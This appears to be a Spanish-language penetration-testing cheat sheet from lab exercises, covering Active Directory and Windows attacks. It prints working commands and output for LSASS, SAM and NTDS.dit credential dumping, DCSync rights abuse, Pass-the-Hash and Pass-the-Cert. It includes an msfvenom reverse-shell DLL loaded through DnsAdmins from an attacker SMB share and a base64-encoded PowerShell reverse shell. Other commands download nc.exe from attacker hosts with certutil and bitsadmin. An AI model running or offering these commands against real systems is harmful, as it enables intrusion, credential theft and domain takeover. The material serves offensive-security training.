Obtaining Ticket Granting Ticket [TGT] (getTGT)

Resource Based Constrained Delegation [RBCD] (getST)

ldapsearch

ldapsearch es una herramienta de línea de comandos utilizada para realizar búsquedas en un servidor LDAP. Sirve para consultar información almacenada, como usuarios, grupos, correos electrónicos o cualquier otro dato que administre el directorio.

Authentication

Enumerating LDAP with ldapsearch

# Identificación del nombre de dominio

# Enumerar LDAP en busca de contenido que contenga "pwd|password"

# Enumerar objetos en LDAP sobre aquellos objetos que tengan datos en el campo "info"

# Leer LAPS Password

# Enumerar usuarios que comiencen por "m.lov"

# Enumerar usuarios que contengan las palabras "lov"

# Enumerar usuarios que acaben por "god"

# Enumerar usuarios a través de LDAP

# Enumerar usuarios del AD y mostrar a que grupo forman parte

# Enumerar equipos del AD con toda su información

# Enumerar miembros del grupo 'Moderators' de ejemplo

# Enumerar campos importantes sobre el usuario llamado 'user'

PowerView.py

Introduction

PowerView.py es una alternativa al fantástico script original PowerView.ps1. La mayoría de los módulos utilizados en PowerView están disponibles aquí (algunos de los indicadores han cambiado). El objetivo principal es lograr una sesión interactiva sin tener que autenticarse repetidamente en LDAP.

Installation

Use

Autenticación básica NTLM

Autenticación mediante Kerberos

Web Browser

Attacking AD using PowerView.py

# Añadir usuario a un grupo

# Asignar servicePrincipalName (SPN) a un usuario para Kerberoasting Attack (Necesario disponer permisos GenericAll/GenericWrite sobre el usuario $target)

# Deshabilitar ACCOUNTDISABLE para habilitar a un usuario deshabilitado

# Habilitar DONT_REQ_PREAUTH para ASREP Roast (Necesario disponer permisos GenericAll/GenericWrite sobre el usuario $target)

# Leer contraseña GMSA

# Kerberoasting Attack

# Modificar contraseña de un usuario

# Convertir el usuario 'user_target' en propietario del objeto 'object_target'

# Añadir un nuevo Domain Computer

# Añadir un nuevo usuario del dominio

# Creamos un nuevo registro DNS, para posteriormente realizar ataques de DNS Spoofing.

WINDOWS PENTESTING

Windows Privilege Escalation

Abusing Tokens

SeImpersonatePrivilege

El privilegio SeImpersonatePrivilege permite a un usuario ejecutar programas en nombre de otro, es decir, impersonar a un cliente. Fue introducido en Windows 2000 SP4 y está asignado a miembros del grupo de administradores locales, cuentas de servicio local y otros servicios específicos (como COM y RPC). Su propósito es evitar que servidores no autorizados impersonen a los clientes que se conectan a ellos. Este privilegio puede ser explotado para ganar control o ejecutar acciones con los permisos de un usuario más privilegiado.

PrintSpoofer

JuicyPotato

Churrasco

El exploit churrasco es similar al exploit JuicyPotato. En algunos casos, el exploit JuicyPotato no es compatible con sistemas más antiguos, como Windows Server 2003 o Windows XP. Se trata de una escalada de privilegios de Windows desde cuentas de “servicio” a cuentas “NT AUTHORITY\SYSTEM”.

PoC

C:\Temp>systeminfo
systeminfo

Host Name:                 GRANNY
OS Name:                   Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version:                5.2.3790 Service Pack 2 Build 3790

SeBackupPrivilege

El privilegio SeBackupPrivilege permite a un usuario crear copias de seguridad del sistema, lo que les da acceso total de lectura a todos los archivos, sin importar las restricciones de ACL. Esto incluye archivos sensibles como el SAM o el SYSTEM Registry. Un atacante puede usar este privilegio tras obtener acceso inicial al sistema, leyendo estos archivos y crackeando contraseñas de usuarios con altos privilegios.

Utilizamos nuestro SeBackupPrivilege para leer el archivo SAM y guardar una variante del mismo. De forma similar, leemos el archivo SYSTEM y guardamos una variante del mismo.

*Evil-WinRM* PS C:\Temp> reg save HKLM\SAM C:\Temp\SAM
The operation completed successfully.

*Evil-WinRM* PS C:\Temp> reg save HKLM\SYSTEM C:\Temp\SYSTEM
The operation completed successfully.

A través de la herramienta de samdump2, extraemos desde Kali los hashes NTLM de la SAM. Podemos intentar efectuar PassTheHash para autenticarnos con el hash NTLM del usuario.

❯ samdump2 SYSTEM SAM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* ä:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

AD Recycle Bin Group

Formando parte de este grupo, podemos enumerar objetos eliminados del Active Directory, en este caso, usuarios. En algunos casos, es posible que existan usuarios temporales que hayan sido creados para pruebas y tengan algún campo que nos pueda interesar.

Get-ADObject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects

Get-ADObject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects -Properties *

PoC - HTB Cascade

DnsAdmins to DomainAdmin

Introduction

El grupo DnsAdmins en Windows permite gestionar el servicio DNS en controladores de dominio. Sin embargo, los usuarios de este grupo pueden cargar y ejecutar una DLL personalizada con privilegios elevados a través de funciones del servicio DNS. Esto lo convierte en un método viable para la escalación de privilegios en entornos de Active Directory.

PoC

On Kali

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=443 -f dll -o pwn.dll

impacket-smbserver smbFolder $(pwd) -smb2support

rlwrap -cAr nc -nlvp 443

On Windows

dnscmd.exe /config /serverlevelplugindll \\<ATTACKER_IP>\smbFolder\pwn.dll

sc.exe stop dns

sc.exe start dns

References

Dumping credentials

LSASS

Introduction

El proceso LSASS (Local Security Authority Subsystem Service) se encarga de gestionar la autenticación y las políticas de seguridad en Windows. Al hacer un dump de este proceso, es posible extraer credenciales como hashes de contraseñas, tickets Kerberos o contraseñas en texto claro. Esto lo convierte en un objetivo crítico durante actividades de post-explotación. Herramientas como Mimikatz o pypykatz permiten analizar y extraer esta información de los archivos de volcado.

Dumping LSASS

Mimikatz

En Windows a través de la herramienta de mimikatz haremos el dump del LSASS.

Task Manager

Con acceso a una sesión gráfica interactiva con el objetivo, podemos utilizar el administrador de tareas para crear un volcado de memoria.

Using Pypykatz to Extract Credentials

En caso de disponer de un lsass.DMP en nuestra Kali, comprobar que tipo de dump es y hacer un dump del LSASS.

Rundll32.exe & Comsvcs.dll Method

El método del Administrador de Tareas depende de que tengamos una sesión interactiva basada en GUI con un objetivo. Podemos utilizar un método alternativo para volcar la memoria del proceso LSASS a través de una utilidad de línea de comandos llamada rundll32.exe. Esta forma es más rápida que el método del Administrador de Tareas y más flexible porque podemos obtener una sesión shell en un host Windows con sólo acceso a la línea de comandos. Es importante tener en cuenta que las herramientas antivirus modernas reconocen este método como actividad maliciosa.

Antes de emitir el comando para crear el archivo de volcado, debemos determinar qué ID de proceso (PID) está asignado a lsass.exe. Esto se puede hacer desde cmd o PowerShell:

Finding LSASS PID in cmd

Desde cmd, podemos emitir el comando tasklist /svc y encontrar lsass.exe y su ID de proceso en el campo PID.

Finding LSASS PID in PowerShell

Desde PowerShell, podemos ejecutar el comando Get-Process lsass y ver el ID del proceso en el campo Id.

Una vez que tenemos el PID asignado al proceso LSASS, podemos crear el archivo de volcado.

NetExec

De manera remota podemos hacer un dump del LSASS a través de netexec.

Lsassy

Cracking the NT Hash with hashcat

References

Enlaces utilizados:

NTDS.dit

Introduction

El archivo NTDS.dit es la base de datos del Active Directory en controladores de dominio de Windows. Contiene información crítica como las cuentas de usuario, grupos, políticas y, lo más importante, los hashes de contraseñas de todos los usuarios del dominio.

Un atacante puede extraer este archivo (junto con el SYSTEM hive) para obtener los hashes y crackearlos, ganando acceso a credenciales sensibles.

DCSync Rights

Usuario forma parte de un grupo que dispone de privilegios "WriteDacl" sobre el dominio, podemos otorgarle permisos DCSync al usuario . Esto debemos de tener acceso a un equipo del dominio y debemos de importar PowerView.

$SecPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('htb.local\jr', $SecPass)

Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jr -Rights DCSync

Con bloodyAD podemos añadir permisos de DCSync (desde Kali)

bloodyAD --host forest.htb.local --dc-ip 10.10.10.10 -d "htb.local" -u 'jr' -p 'Password01!' add dcsync "jr"

Si disponemos de permisos de DCSync, des de Kali dumpearemos el NTDS.dit de la siguiente manera:

# A través de Impacket
secretsdump.py htb.local/jr@10.10.10.10 -just-dc-ntlm -dc-ip 10.10.10.10

# A través de Netexec
netexec smb 10.10.10.10 -u 'username' -p 'password' --ntds

SeBackupPrivilege

Requisitos:

Acceso remoto al Domain Controller del dominio.
Disponer de usuario con permisos de "SeBackupPrivilege"
Disponer del archivo 'SYSTEM' del DC. Se puede obtener a través de

Proceso:

Utilizaremos DiskShadow y Robocopy para copiar el archivo "NTDS.dit" y disponer de una copia que la pasaremos a nuestra Kali.

(Importante: Dejar un espacio al final de cada instrucción)

diskshadow.txt

set context persistent nowriters
add volume c: alias gzzcoo
create
expose %gzzcoo% g:

Ejecutaremos el diskshadow para crear una copia de la unidad C: en la unidad G del DiskShadow.

diskshadow.exe /s C:\Windows\Temp\test\diskshadow.txt

A través de RoboCopy copiaremos el archivo NTDS.dit de la copia de la C que se encuentra en la unidad G.

robocopy /b g:\Windows\NTDS\ . ntds.dit

Pasaremos la copia de los archivos SYSTEM y NTDS.dit a la Kali y haremos el dump con secretsdump.py:

secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL

References

SAM and SYSTEM

Introduction

La SAM (Security Account Manager) es una base de datos en Windows que almacena las credenciales locales de los usuarios, como los hashes de contraseñas. Este archivo crítico se encuentra en C:\Windows\System32\Config\SAM y está protegido por restricciones de acceso. Sin embargo, si un atacante obtiene permisos elevados, puede extraer los hashes de la SAM y usarlos para ataques como Pass-the-Hash o crackeo de contraseñas, comprometiendo cuentas locales del sistema.

Dumping SAM and SYSTEM secrets

Reg save

En Windows haremos una copia de los archivos en "temp"

reg save HKLM\SAM C:\Windows\temp\SAM

reg save HKLM\SYSTEM C:\Windows\temp\SYSTEM

Desde Kali Linux exportaremos los hashes de la SAM

samdump2 SYSTEM SAM

pypykatz registry --sam SAM SYSTEM 2>/dev/null

NetExec

De manera remota podemos hacer el dump del SAM del equipo.

nxc smb 10.99.99.10 -u 'usuer' -p 'Password01!' --sam

References

Server Operators Group

Introduction

El grupo Server Operators es un grupo de seguridad integrado en los entornos de Windows Server. A los miembros de este grupo se les otorgan privilegios administrativos específicos que les permiten realizar tareas relacionadas con el servidor sin tener derechos administrativos completos. Este grupo está diseñado principalmente para la administración delegada del servidor. Privilegios clave de los operadores de servidor

Los miembros del grupo Operadores de servidor tienen los siguientes privilegios:

Iniciar y detener servicios:
- Pueden iniciar, detener y pausar servicios en el servidor, lo que es crucial para el mantenimiento y la resolución de problemas del servidor.
Administrar recursos compartidos:
- Los operadores de servidor pueden crear, modificar y eliminar carpetas compartidas y administrar recursos compartidos de impresoras, lo que les permite administrar recursos compartidos de manera eficaz.
Operaciones de copia de seguridad y restauración:
- Los miembros pueden realizar copias de seguridad de archivos y restaurar archivos a partir de copias de seguridad, lo que facilita la administración de los procesos de recuperación de datos.
Iniciar sesión localmente:
- Los miembros tienen la capacidad de iniciar sesión localmente en el servidor, lo que les permite administrar directamente el servidor a través de su consola.
Administrar usuarios y grupos locales:
- Pueden agregar o eliminar usuarios de grupos locales y administrar cuentas locales, lo que es importante para las tareas de administración de usuarios.

PoC

Comprobamos que el usuario que disponemos forma parte del grupo SERVER OPERATORS.

Desde el equipo revisaremos los servicios que se encuentran en ejecución.

Después de revisar los servicios que se encuentran en ejecución, el siguiente paso será subir al equipo víctima el binario nc.exe para posteriormente aprovechar de que formamos parte de este grupo, para modificar el binPath del servicio e indicarle que la ruta del servicio es la ejecución de una Reverse Shell utilizando el binario subido de nc.exe.

Verificamos que logramos modificar correctamente el binPath del servicio VMTools, también podemos utilizar el servicio browser.

En una terminal nos pondremos en escucha por el puerto especificado en el punto anterior.

Volveremos a la terminal del equipo víctima y pararemos y volver a iniciar el servicio, el cual hemos modificado el binPath para que ejecute la Reverse Shell.

Verificamos que al volver a arrancar el servicio, hemos logrado obtener conexión a través de la Reverse Shell, en este caso, el usuario que arranca el servicio es el usuario NT AUTHORITY\SYSTEM, lo cual tenemos control total sobre el equipo.

Windows Lateral Movement

Pass the Hash (PtH)

Introduction

Un ataque Pass the Hash (PtH) es una técnica en la que un atacante utiliza un hash de contraseña en lugar de la contraseña en texto plano para autenticarse. No es necesario descifrar el hash para obtener la contraseña original. Este tipo de ataque aprovecha el funcionamiento del protocolo de autenticación, ya que el hash permanece constante en cada sesión hasta que la contraseña se cambia.

El atacante necesita tener privilegios administrativos u otros permisos específicos sobre la máquina objetivo para poder obtener los hashes de contraseña. Existen varios métodos para obtenerlos, entre ellos:

Volcar la base de datos SAM local desde un host comprometido.
Extraer los hashes de la base de datos del controlador de dominio (NTDS.dit).
Obtener los hashes directamente desde la memoria del proceso lsass.exe.

Supongamos que hemos obtenido el siguiente hash de contraseña para la cuenta julio del dominio inlanefreight.htb:

64F12CDDAA88057E06A81B54E73B949B

A continuación, veremos cómo realizar ataques Pass the Hash desde sistemas Windows y Linux.

Windows NTLM Introduction

NTLM (New Technology LAN Manager) de Microsoft es un conjunto de protocolos de seguridad diseñado para autenticar la identidad de los usuarios y proteger la integridad y confidencialidad de sus datos. NTLM funciona como una solución de inicio de sesión único (SSO), utilizando un protocolo de reto-respuesta para verificar la identidad del usuario sin necesidad de enviar la contraseña.

A pesar de sus vulnerabilidades conocidas, NTLM sigue siendo utilizado con frecuencia para mantener compatibilidad con sistemas y clientes antiguos, incluso en entornos modernos. Aunque Microsoft continúa dando soporte a NTLM, Kerberos ha pasado a ser el mecanismo de autenticación predeterminado desde Windows 2000 y en todos los dominios basados en Active Directory (AD) posteriores.

Uno de los problemas clave de NTLM es que las contraseñas almacenadas en los servidores o controladores de dominio no están "salteadas" (salted). Esto significa que un atacante que obtenga el hash de una contraseña puede autenticarse directamente sin necesidad de conocer la contraseña original. A este tipo de técnica se le conoce como ataque Pass the Hash (PtH).

Pass the Hash with Mimikatz (Windows)

La primera herramienta que podemos utilizar para llevar a cabo un ataque Pass the Hash es Mimikatz. Esta herramienta cuenta con un módulo llamado sekurlsa::pth, que permite iniciar un proceso utilizando directamente el hash NTLM de un usuario, sin necesidad de conocer su contraseña en texto claro.

Para usar este módulo, se requiere la siguiente información:

/user – El nombre del usuario que queremos suplantar.
/rc4 o /ntlm – El hash NTLM de la contraseña del usuario.
/domain – El dominio al que pertenece el usuario. Si es una cuenta local, se puede usar el nombre del equipo, localhost, o simplemente un punto (.).
/run – El programa que queremos ejecutar con el contexto del usuario (si no se especifica, se lanzará por defecto una cmd.exe).

Pass the Hash from Windows Using Mimikatz:

c:\tools> mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit
user    : julio
domain  : inlanefreight.htb
program : cmd.exe
impers. : no
NTLM    : 64F12CDDAA88057E06A81B54E73B949B
  |  PID  8404
  |  TID  4268
  |  LSA Process was already R/W
  |  LUID 0 ; 5218172 (00000000:004f9f7c)
  \_ msv1_0   - data copy @ 0000028FC91AB510 : OK !
  \_ kerberos - data copy @ 0000028FC964F288
   \_ des_cbc_md4       -> null
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ *Password replace @ 0000028FC9673AE8 (32) -> null

Ahora podemos usar cmd.exe para ejecutar comandos en el contexto del usuario. En este ejemplo, julio puede conectarse a una carpeta compartida llamada julio en el controlador de dominio.

Pass the Hash with PowerShell Invoke-TheHash (Windows)

Otra herramienta que podemos utilizar para realizar ataques Pass the Hash en sistemas Windows es Invoke-TheHash. Esta herramienta es un conjunto de funciones en PowerShell diseñadas para ejecutar ataques PtH utilizando WMI y SMB.

Las conexiones a WMI y SMB se realizan a través de System.Net.Sockets.TCPClient de .NET, y la autenticación se lleva a cabo inyectando el hash NTLM en el protocolo de autenticación NTLMv2.

Aunque no se requieren privilegios de administrador en el equipo desde el cual ejecutamos el ataque, las credenciales utilizadas (usuario y hash) sí deben tener privilegios administrativos en la máquina objetivo.

Invoke-TheHash with SMB

En este ejemplo, se utilizará el usuario julio y el hash 64F12CDDAA88057E06A81B54E73B949B.

Target: Nombre de host o dirección IP del objetivo.
Username: Nombre de usuario que se utilizará para la autenticación.
Domain: Dominio al que pertenece el usuario. Este parámetro es opcional si se utiliza una cuenta local o si se incluye el dominio en el nombre de usuario (por ejemplo, usuario@dominio).
Hash: Hash NTLM de la contraseña. Se acepta el formato LM:NTLM o solo NTLM.
Command: Comando a ejecutar en el sistema objetivo. Si no se especifica ningún comando, la función verificará si las credenciales tienen acceso a WMI en la máquina remota.

El siguiente comando utilizará el método SMB para ejecutar un comando que crea un nuevo usuario llamado mark y lo añade al grupo de administradores:

PS c:\tools\Invoke-TheHash> Import-Module .\Invoke-TheHash.psd1
PS c:\tools\Invoke-TheHash> Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose

VERBOSE: [+] inlanefreight.htb\julio successfully authenticated on 172.16.1.10
VERBOSE: inlanefreight.htb\julio has Service Control Manager write privilege on 172.16.1.10
VERBOSE: Service EGDKNNLQVOLFHRQTQMAU created on 172.16.1.10
VERBOSE: [*] Trying to execute command on 172.16.1.10
[+] Command executed with service EGDKNNLQVOLFHRQTQMAU on 172.16.1.10
VERBOSE: Service EGDKNNLQVOLFHRQTQMAU deleted on 172.16.1.10

Invoke-TheHash with WMI

También podemos obtener una conexión de Reverse Shell en la máquina de destino.

Para obtener una Reverse Shell, necesitamos iniciar nuestro listener usando Netcat en nuestra máquina Windows, cuya dirección IP es 172.16.1.5. Usaremos el puerto 8001 para esperar la conexión.

PS C:\tools> .\nc.exe -lvnp 8001
listening on [any] 8001...

PS c:\tools\Invoke-TheHash> Import-Module .\Invoke-TheHash.psd1
PS c:\tools\Invoke-TheHash> Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAzACIALAA4ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

[+] Command executed with process id 520 on DC01

Pass the Hash with Impacket (Linux)

Pass the Hash with Impacket PsExec

gzzcoo@htb[/htb]$ impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.129.201.126.....
[*] Found writable share ADMIN$
[*] Uploading file SLUBMRXK.exe
[*] Opening SVCManager on 10.129.201.126.....
[*] Creating service AdzX on 10.129.201.126.....
[*] Starting service AdzX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19044.1415]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Existen otras herramientas en el kit de herramientas de Impacket que podemos usar para la ejecución de comandos mediante ataques Pass the Hash, como:

impacket-wmiexec
impacket-atexec
impacket-smbexec

Pass the Hash with NetExec (Linux)

NetExec es una herramienta de postexplotación que ayuda a automatizar la evaluación de la seguridad de grandes redes de Active Directory. Podemos usar NetExec para intentar autenticarnos en algunos o todos los hosts de una red, buscando un host donde podamos autenticarnos correctamente como administrador local. Este método también se denomina "Rociado de contraseñas" y se explica en detalle en el módulo "Enumeración y ataques de Active Directory". Tenga en cuenta que este método puede bloquear cuentas de dominio, así que tenga en cuenta la política de bloqueo de cuentas del dominio objetivo y asegúrese de usar el método de cuenta local, que solo intentará iniciar sesión una vez en un host dentro de un rango determinado con las credenciales proporcionadas, si esa es su intención.

gzzcoo@htb[/htb]$ nxc smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453

SMB         172.16.1.10   445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:.) (signing:True) (SMBv1:False)
SMB         172.16.1.10   445    DC01             [-] .\Administrator:30B3783CE2ABF1AF70F77D0660CF3453 STATUS_LOGON_FAILURE 
SMB         172.16.1.5    445    MS01             [*] Windows 10.0 Build 19041 x64 (name:MS01) (domain:.) (signing:False) (SMBv1:False)
SMB         172.16.1.5    445    MS01             [+] .\Administrator 30B3783CE2ABF1AF70F77D0660CF3453 (Pwn3d!)

Si queremos realizar las mismas acciones, pero intentar autenticarnos en cada host de una subred usando el hash de la contraseña del administrador local, podríamos añadir --local-auth a nuestro comando. Este método es útil si obtenemos un hash del administrador local volcando la base de datos SAM local en un host y queremos comprobar a cuántos hosts adicionales (si los hay) podemos acceder gracias a la reutilización de la contraseña del administrador local. Si vemos "Pwn3d!", significa que el usuario es administrador local en el equipo de destino. Podemos usar la opción -x para ejecutar comandos.

Es común ver la reutilización de contraseñas en varios hosts de la misma subred. Las organizaciones suelen usar imágenes maestras con la misma contraseña de administrador local o la configuran de la misma forma en varios hosts para facilitar la administración. Si nos encontramos con este problema en una interacción real, una excelente recomendación para el cliente es implementar la Solución de Contraseña del Administrador Local (LAPS), que aleatoriza la contraseña del administrador local y puede configurarse para que rote en un intervalo fijo.

CrackMapExec - Command Execution

gzzcoo@htb[/htb]$ nxc smb 10.129.201.126 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami

SMB         10.129.201.126  445    MS01            [*] Windows 10 Enterprise 10240 x64 (name:MS01) (domain:.) (signing:False) (SMBv1:True)
SMB         10.129.201.126  445    MS01            [+] .\Administrator 30B3783CE2ABF1AF70F77D0660CF3453 (Pwn3d!)
SMB         10.129.201.126  445    MS01            [+] Executed command 
SMB         10.129.201.126  445    MS01            MS01\administrator

Pass the Hash with evil-winrm (Linux)

evil-winrm es otra herramienta que podemos usar para autenticarnos mediante el ataque "Pass the Hash" con comunicación remota de PowerShell. Si SMB está bloqueado o no tenemos permisos de administrador, podemos usar este protocolo alternativo para conectarnos a la máquina objetivo.

gzzcoo@htb[/htb]$ evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>

Pass the Hash with RDP (Linux)

RDP Port (3389)

Puede haber ocasiones en las que obtengas un NT hash de administrador local a partir de un volcado de SAM u otros métodos, pero no puedas descifrarlo para obtener la contraseña en texto claro. En algunos casos, puedes realizar un ataque Pass-the-Hash (PtH) en RDP para obtener acceso GUI al sistema utilizando una herramienta como xfreerdp.

El principal obstáculo para este ataque es el Modo de Administración Restringida (Restricted Admin Mode). Este modo está deshabilitado por defecto y evitará que inicies sesión con un NT hash.

xfreerdp3 /u:'User' /pth:'<NTLM_HASH>' /v:192.168.134.129

Sin embargo, con acceso de administrador local, puedes habilitar esta función agregando una nueva clave en el registro:

nxc smb 192.168.134.129 -u 'User' -H '<NTLM_HASH>' -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'

Una vez que se agrega la clave en el registro, puedes usar una herramienta como xfreerdp para obtener acceso por RDP sin necesidad de conocer la contraseña en texto claro de la cuenta:

xfreerdp3 /u:'User' /pth:'<NTLM_HASH>' /v:192.168.134.129

PoC (Proof of Concept)

UAC Limits Pass the Hash for Local Accounts

UAC (Control de Cuentas de Usuario) limita la capacidad de los usuarios locales para realizar tareas administrativas de forma remota. Cuando la clave de registro HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy está en 0, significa que solo la cuenta de administrador local integrada (RID-500, "Administrator") puede hacer administración remota. Si se pone en 1, se permite también a otros administradores locales.

Ojo: hay una excepción. Si la clave FilterAdministratorToken (que está deshabilitada por defecto) se habilita (valor 1), entonces la cuenta RID-500 (aunque tenga otro nombre) queda protegida por UAC. Eso hace que un ataque remoto tipo Pass The Hash (PTH) con esa cuenta falle.

Estos ajustes solo aplican a cuentas administrativas locales. Si conseguimos acceso a una cuenta de dominio con permisos administrativos sobre una máquina, sí podremos usar Pass The Hash contra ella.

Pass the Cert (PtC)

KDC_ERR_PADATA_TYPE_NOSUPP

certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt

certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key

Con PassTheCert, utilizamos la clave privada y el certificado generado anteriormente para autenticarnos. En este ejemplo. se nos mostraría el resultado del comando whoami.

Para poder escalar privilegios y buscar otras maneras. podemos obtener una consola LDAP Shell con el parámetro -action ldap-shell.

python3 /opt/PassTheCert/Python/passthecert.py -action whoami -crt administrator.crt -key administrator.key -domain dominio.htb -dc-ip 10.10.10.10

Para ver varios ejemplos del uso de PassTheCert y de cómo logramos obtener acceso al sistema como el usuario Administrator podemos comprobar el siguiente blog.

File Transfer

Verify correct file content after transfer

# Kali Linux
❯ md5sum <file_name>
e7f7d2522cc7fdec3e6cc2c1e2f20819  <file_name>

# PowerShell
╭╴at  ~\Desktop
╰─ Get-FileHash  C:\Users\gzzcoo\Desktop\shell.sh -Algorithm md5

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
MD5             E7F7D2522CC7FDEC3E6CC2C1E2F20819                                       C:\Users\gzzcoo\Desktop\shell.sh

Download Operations

SMB Server

# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -smb2support

# Desde Windows, podemos descargar ficheros de Kali Linux hacía el equipo Windows
copy \\<ATTACKER_IP>\smbFolder\archivo.txt C:\path\destination\archivo.txt

Las nuevas versiones de Windows bloquean el acceso de invitados no autenticados, como podemos ver en el siguiente comando:

You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.

Para transferir archivos en este escenario, podemos establecer un nombre de usuario y una contraseña usando nuestro servidor SMB Impacket y montar el servidor SMB en nuestra máquina de destino de Windows:

# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -username gzzcoo -password gzzcoo123 -smb2support

# Desde Windows conectamos el SMB y transferimos el archivo directamente hacía Windows.
net use x: \\<ATTACKER_IP>\smbFolder /user:gzzcoo gzzcoo123

copy x:\archivo.txt C:\path\destination\archivo.txt

Certutil.exe

# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80

# Desde Windows descargamos el archivo con certutil.exe
certutil.exe -f -urlcache -split http:/<ATTACKER_IP>/archivo.txt C:\path\destination\archivo.txt

PowerShell Download Operations

Disponemos de diversas maneras de realizar una transferencias de archivos hacía la máquina objetivo a través de PowerShell.

PowerShell

Bitsadmin Download Function

El servicio Background Intelligent Transfer Service (BITS) puede usarse para descargar archivos desde sitios HTTP o recursos compartidos SMB. Este servicio tiene la ventaja de que descarga los archivos de forma "inteligente", tomando en cuenta la carga de la red y del sistema para minimizar el impacto en el trabajo del usuario.

File Download with BitsAdmin

C:\htb> bitsadmin /transfer wcb /priority foreground http://10.10.x.x:8000/nc.exe C:\Users\gzzcoo\Desktop\nc.exe

PowerShell + BITS

PS C:\htb> Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.x.x:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"

Curl

# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80

